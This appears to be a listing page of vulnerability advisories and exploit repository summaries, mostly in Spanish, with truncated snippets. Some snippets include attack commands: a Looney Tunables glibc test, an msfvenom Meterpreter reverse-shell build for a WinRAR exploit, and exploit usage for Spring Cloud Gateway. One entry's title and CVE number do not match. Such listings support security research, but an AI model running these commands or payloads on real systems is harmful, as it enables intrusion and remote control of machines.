EUVD-2026-80050

Heap-based buffer overflow in Microsoft Edge Chromium-based allows an unauthorized attacker to execute code over a network...

EUVD-2026-80068

An attacker can craft a malicious link that, if used by a legitimate user, may cause the user's browser to run JavaScript supplied by the attacker...

EUVD-2026-80049

A flaw was found in the file-psd plugin in GIMP. When generating a thumbnail preview for a specially crafted PSD Photoshop Document image file, an integer overflow occurs during the multiplication of values from an embedded JPEG header. This leads to an undersized heap allocation, resulting in a...

EUVD-2026-80033

Netcore NR255-V version 1.5.130703 contains a stack-based buffer overflow in ntoolstcpdumpstartset.cgi caused by an unsized sprintf call when processing form values. An attacker can submit crafted input to this cgi endpoint to overflow the stack buffer and potentially execute arbitrary code...

looneyCVE

Paso 1 Comprueba la versión de glibc root@kitploit: ldd --version Comprueba si una máquina es vulnerable a Looney Tunables CVE-2023-4911 root@kitploit: env -i "GLIBCTUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help Si obtenemos un Segmentation fault cor...

CVE-2019-0708

Existe una vulnerabilidad de ejecución remota de código en los Servicios de Escritorio Remoto, anteriormente conocidos como Servicios de Terminal, cuando un atacante no autenticado se conecta al sistema objetivo mediante RDP y envía solicitudes especialmente diseñadas. Esta vulnerabilidad es prev...

ysoserial-cve-2018-2628

ysoserial-cve-2018-2628 0x1. Preparación Preparar el entorno de software necesario para el script POC, la generación de objetos Payload y la ejecución de JRMPListener Python 2.7.x Oracle Java SE 1.7+ Preparar un entorno de WebLogic Server 10.3.6 con el parche Patch Set Update 180417 instalado bas...

CVE-2021-34371

CVE-2021-34371 exploit en python - Neo4j 3.4.18 - Ejecución remota de código RCE basada en RMI...

CVE-2025-52691

CVE-2025-52691 SmarterMail Unauthenticated Arbitrary File Upload RCE Overview Critical unauthenticated arbitrary file upload allowing remote code execution...

CVE-2025-55182-Lab

Laboratorio CVE-2025-55182 Un laboratorio práctico para explotar CVE-2025-55182 React2Shell - Ejecución remota de código en React Server Components. ⚠️ Aviso legal Solo con fines educativos. Prueba únicamente en sistemas que te pertenezcan. Inicio rápido root@kitploit: Clonar e iniciar git clone...

CVE-2025-69460

CVE-2025-69460 – Simple Image Gallery 1.0 Ejecución Remota de Código RCE No Autenticado WriteUp CVE-2025-69460 – ExploitDB 50214...

CVE-2019-12949

CVE-2019-12949 De la vulnerabilidad de Cross Site Scripting a la ejecución remota de código en pfSense 2.4.4-p2 y 2.4.4-p3 Descripción de la información: En pfSense 2.4.4-p2 y 2.4.4-p3, si es posible engañar al administrador autenticado para que haga clic en un botón de una página de phishing, un...

CVE-2018-20250

Configuración Video demo: https://youtu.be/5tuWsi1tGS0 Máquina VirtualBox: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Pasos a seguir Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows:...

CVE-2022-22947-Spring-Cloud-Gateway

Vulnerabilidad de ejecución remota de código en Spring Cloud Gateway Esta vulnerabilidad presenta un alto riesgo para los servicios en línea; no realice escaneos no autorizados. Instrucciones de uso root@kitploit: ╰─ ./CVE-2022-22947 -h ─╯ Ejecutar comando: ./CVE-2022-22947 -u http://127.0.0.1:80...

Exploiting-CVE-2021-44228-Log4Shell-in-a-Banking-Environment

Explotando-CVE-2021-44228-Log4Shell-en-un-Entorno-Bancario Objetivo: Demostrar la explotación de la vulnerabilidad Log4Shell CVE-2021-44228 dentro de un entorno simulado de aplicación bancaria. Alcance: 1: Configurar una aplicación bancaria vulnerable usando Apache Log4j. 2:Crear un payload para...

cve-2024-6387-poc

cve-2024-6387-poc una condición de carrera en el manejador de señales del servidor de OpenSSH sshd 7etsuo Descripción Un exploit para CVE-2024-6387, dirigido a una condición de carrera en el manejador de señales del servidor de OpenSSH sshd en sistemas Linux basados en glibc. La vulnerabilidad...

exploit-CVE-2015-3306

ProFTPd 1.3.5 - modcopy Ejecución Remota de Comandos ProFTPD es un demonio FTP altamente configurable para sistemas operativos Unix y similares a Unix. ProFTPD surgió del deseo de tener un servidor FTP seguro y configurable. Fue inspirado por una gran admiración hacia el servidor web Apache. A...

exploit-CVE-2016-9920

Roundcube 1.0.0 = 1.2.2 Ejecución Remota de Código Roundcube es un software de webmail de código abierto ampliamente distribuido utilizado por muchas organizaciones y empresas en todo el mundo. El espejo en SourceForge, por ejemplo, cuenta con más de 260,000 descargas en los últimos 12 meses, lo...

CVE-2026-33017

CVE-2025-62593 — Ray Unauthenticated RCE Exploit Overview CVE-2025-62593 is an unauthenticated remote code execution vulnerability in the Ray distributed AI compute engine. The root cause is the absence of authentication on critical HTTP endpoints /api/jobs, /api/jobagent/jobs. An attacker can...

yaml-payload-2

yaml-payload A SnakeYAML deserialization exploit payload for CVE-2022-1471 , adapted from artsploit/yaml-payload originally based on mbechler/marshalsec. What it does When loaded via SnakeYAML's unsafe Yaml.load, this payload takes over the running application and replaces it with a "You've Been...